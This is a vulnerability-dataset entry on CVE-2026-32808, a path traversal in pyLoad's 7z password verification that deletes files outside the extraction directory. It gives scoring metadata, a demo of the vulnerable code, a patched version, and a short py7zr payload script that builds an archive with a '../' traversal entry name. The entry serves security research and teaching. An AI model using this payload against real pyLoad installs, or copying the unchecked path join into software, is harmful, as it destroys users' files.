CVE-2026-32808
Path traversal in pyLoad's 7z password check allows file deletion.
- CVSS 8.1
- CWE-22
- Input Validation and Sanitization
- Remote
pyLoad is a free and open-source download manager written in Python. Versions before 0.5.0b3.dev97 are vulnerable to path traversal during password verification of certain encrypted 7z archives (encrypted files with non-encrypted headers), causing arbitrary file deletion outside of the extraction directory. During password verification, pyLoad derives an archive entry name from 7z listing output and treats it as a filesystem path without constraining it to the extraction directory. This issue has been fixed in version 0.5.0b3.dev97.
- CWE
- CWE-22
- CVSS base score
- 8.1
- Published
- 2026-03-20
- OWASP
- A01 Broken Access Control
- Orthogonal defect classification
- Checking
- Code defect classification
- Missing Check
- Category
- Input Validation and Sanitization
- Subcategory
- Path Traversal
- Accessibility scope
- Remote
- Impact
- Denial of Service (DoS)
- Affected component
- pyLoad
- Fixed by upgrading
- Yes
Solution
Upgrade to pyLoad version 0.5.0b3.dev97 or later.
Vulnerable code sample
import os
import subprocess
import shutil
# This is a mock function to simulate the output of an external '7z' command.
# In a real-world scenario, this would be a `subprocess.run` call.
# The simulated output contains a malicious path designed for traversal.
def _get_mock_7z_listing_output():
"""
Simulates the output of `7z l -p<password> <archive_name>` for an archive
containing a path traversal entry.
The key is the line with '../../../../../../tmp/file_to_be_deleted.txt'.
"""
return """
7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
Scanning the drive for archives:
1 file, 12345 bytes (13 KiB)
Listing archive: malicious_archive.7z
--
Path = malicious_archive.7z
Type = 7z
Headers Size = 256
Solid = -
Blocks = 1
Date Time Attr Size Compressed Name
------------------- ----- ------------ ------------ ------------------------
2023-10-27 10:00:00 ..... 50 50 a_legitimate_file.txt
2023-10-27 10:00:00 ..... 50 50 ../../../../../../tmp/file_to_be_deleted.txt
------------------- ----- ------------ ------------ ------------------------
2023-10-27 10:00:00 100 100 2 files, 0 folders
"""
def vulnerable_password_verification(extraction_dir):
"""
This function represents the vulnerable logic in pyLoad before the fix.
It processes archive entries for password verification and is susceptible
to path traversal, leading to arbitrary file deletion.
"""
print(f"[+] Simulating password verification on a malicious archive...")
# In the original code, this would be a real subprocess call, e.g.:
# result = subprocess.run(['7z', 'l', ...], capture_output=True, text=True)
# Here, we use a mock function to provide the malicious output directly.
result_stdout = _get_mock_7z_listing_output()
# The code parses the output to get the list of file entries.
file_entries = []
in_file_list = False
for line in result_stdout.strip().split('\n'):
if line.startswith('-------------------'):
in_file_list = not in_file_list
continue
if in_file_list and len(line.split()) > 5:
# A simplistic parser to get the file name from the end of the line.
entry_name = ' '.join(line.split()[5:])
file_entries.append(entry_name)
print(f"[+] Parsed file entries from archive listing: {file_entries}")
# THE VULNERABILITY:
# The code iterates through the parsed entry names and uses them to
# construct file paths for operations, without sanitizing or constraining them.
for entry_name in file_entries:
# The 'entry_name' is trusted completely.
# When entry_name is '../../../../../../tmp/file_to_be_deleted.txt',
# os.path.join will create a path outside of the 'extraction_dir'.
unsafe_path = os.path.join(extraction_dir, entry_name)
# The CVE describes arbitrary file deletion during this process.
# We simulate this by checking if the path exists and then deleting it.
# In a real attack, this path points to a critical file the attacker wants to delete.
if os.path.lexists(unsafe_path):
print(f"[!] VULNERABILITY TRIGGERED: Malicious entry '{entry_name}' resolved to '{os.path.abspath(unsafe_path)}'.")
print(f"[!] This path is outside the intended extraction directory.")
print(f"[!] Deleting file: {unsafe_path}")
os.remove(unsafe_path)
if __name__ == '__main__':
# --- Setup for Demonstration ---
# 1. Define a safe extraction directory.
EXTRACTION_DIR = os.path.abspath("./safe_extraction_dir")
# 2. Define the path to a file that should NOT be deleted.
# This file is outside the extraction directory.
# On non-Unix systems, you may need to change '/tmp/' to a valid temp path.
TARGET_FILE_PATH = "/tmp/file_to_be_deleted.txt"
# 3. Clean up previous runs and set up the environment.
if os.path.exists(EXTRACTION_DIR):
shutil.rmtree(EXTRACTION_DIR)
os.makedirs(EXTRACTION_DIR)
# 4. Create the target file that the exploit will delete.
with open(TARGET_FILE_PATH, "w") as f:
f.write("This is an important file that should not be deleted.")
print("--- CVE-2026-32808 Demonstration ---")
print(f"[*] Safe extraction directory created at: {EXTRACTION_DIR}")
print(f"[*] Target file created at: {TARGET_FILE_PATH}")
print(f"[*] Target file exists before vulnerable function call? {os.path.exists(TARGET_FILE_PATH)}")
print("-" * 40)
# --- Run the Vulnerable Code ---
vulnerable_password_verification(EXTRACTION_DIR)
print("-" * 40)
# --- Verify the Outcome ---
print("[*] Vulnerable function has finished.")
print(f"[*] Target file exists after vulnerable function call? {os.path.exists(TARGET_FILE_PATH)}")
if not os.path.exists(TARGET_FILE_PATH):
print("\n[SUCCESS] The vulnerability was successfully demonstrated. The file outside the extraction directory was deleted.")
else:
print("\n[FAILURE] The demonstration failed. The target file was not deleted.")
# --- Cleanup ---
if os.path.exists(EXTRACTION_DIR):
shutil.rmtree(EXTRACTION_DIR)
print("[*] Cleaned up extraction directory.")Patched code sample
import os
import shutil
def is_safe_path(basedir, path, follow_symlinks=True):
"""
Checks if a given path is securely within a base directory by comparing
their resolved absolute paths. This is the core of the fix for the path
traversal vulnerability.
"""
# Resolve real paths to handle symlinks and relative path components like '..'
if follow_symlinks:
# os.path.realpath resolves all symlinks and '..' components
resolved_basedir = os.path.realpath(basedir)
resolved_path = os.path.realpath(path)
else:
# os.path.abspath resolves '..' but does not follow symlinks
resolved_basedir = os.path.abspath(basedir)
resolved_path = os.path.abspath(path)
# The path is safe if its resolved absolute path starts with the
# resolved absolute path of the base directory. We add a path separator
# to ensure we don't match partial directory names (e.g., /tmp/data-safe vs /tmp/data).
return resolved_path.startswith(resolved_basedir + os.sep) or resolved_path == resolved_basedir
def safe_delete_archive_entry(extraction_dir, entry_name):
"""
Demonstrates the fixed logic for handling file paths from an archive.
It validates the path before performing a file operation (e.g., deletion).
"""
# Construct the full path from the extraction directory and the entry name.
# This is the point where the path could become malicious if 'entry_name'
# contains '..' components.
potential_path = os.path.join(extraction_dir, entry_name)
print(f"--- Processing entry: '{entry_name}' ---")
print(f"Intended extraction directory: {os.path.abspath(extraction_dir)}")
print(f"Constructed path to check: {os.path.abspath(potential_path)}")
# THE FIX: Use is_safe_path to validate the path before any file operation.
if is_safe_path(extraction_dir, potential_path):
print("[SAFE] Path is within the extraction directory.")
# In a real application, you would now proceed with the file operation.
# For this demo, we'll check existence and simulate deletion.
if os.path.exists(potential_path):
print(f"[SAFE] Deleting safe file: {potential_path}")
os.remove(potential_path)
else:
print("[SAFE] File does not exist, no action needed.")
else:
# If the path is not safe, abort the operation.
print("\n[DANGER] Path Traversal Detected! Operation ABORTED.")
print(f"[DANGER] The path '{os.path.abspath(potential_path)}' is outside of '{os.path.abspath(extraction_dir)}'.\n")
if __name__ == '__main__':
# --- Demonstration Setup ---
# Create a temporary directory structure to simulate the vulnerability scenario.
DEMO_ROOT = "/tmp/cve_fix_demo"
EXTRACTION_DIR = os.path.join(DEMO_ROOT, "downloads", "my_archive")
FORBIDDEN_FILE_PATH = os.path.join(DEMO_ROOT, "important_config.txt")
# Clean up previous runs and set up the environment
if os.path.exists(DEMO_ROOT):
shutil.rmtree(DEMO_ROOT)
os.makedirs(EXTRACTION_DIR)
with open(FORBIDDEN_FILE_PATH, "w") as f:
f.write("This file must not be deleted.")
with open(os.path.join(EXTRACTION_DIR, "legit_file.txt"), "w") as f:
f.write("This is a temporary file inside the archive.")
print("--- Initial File State ---")
print(f"Forbidden file exists: {os.path.exists(FORBIDDEN_FILE_PATH)}")
print(f"Legitimate file exists: {os.path.exists(os.path.join(EXTRACTION_DIR, 'legit_file.txt'))}\n")
# --- Running the Demonstration ---
# 1. Simulate a malicious entry name from a 7z archive.
# This path tries to go up three directories to delete a file outside the extraction dir.
malicious_entry = "../../../important_config.txt"
safe_delete_archive_entry(EXTRACTION_DIR, malicious_entry)
# 2. Simulate a legitimate file entry.
legit_entry = "legit_file.txt"
safe_delete_archive_entry(EXTRACTION_DIR, legit_entry)
print("\n--- Final File State ---")
print(f"Forbidden file still exists: {os.path.exists(FORBIDDEN_FILE_PATH)}")
print(f"Legitimate file was deleted: {not os.path.exists(os.path.join(EXTRACTION_DIR, 'legit_file.txt'))}")
# --- Cleanup ---
shutil.rmtree(DEMO_ROOT)Payload
import py7zr
import os
# Define the payload parameters
archive_name = 'exploit.7z'
dummy_file = 'content.txt'
# This is the path of the file to be deleted on the target system
malicious_path = '../../../../../../../../tmp/pwned'
# Create a dummy file to be archived
with open(dummy_file, 'w') as f:
f.write('exploit')
# Create the malicious 7z archive with a password and the path traversal entry
with py7zr.SevenZipFile(archive_name, 'w', password='anypassword') as archive:
archive.write(dummy_file, malicious_path)
# Clean up the local dummy file
os.remove(dummy_file)
Cite this entry
@misc{vaitp:cve202632808,
title = {{Path traversal in pyLoad's 7z password check allows file deletion.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-32808},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-32808/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
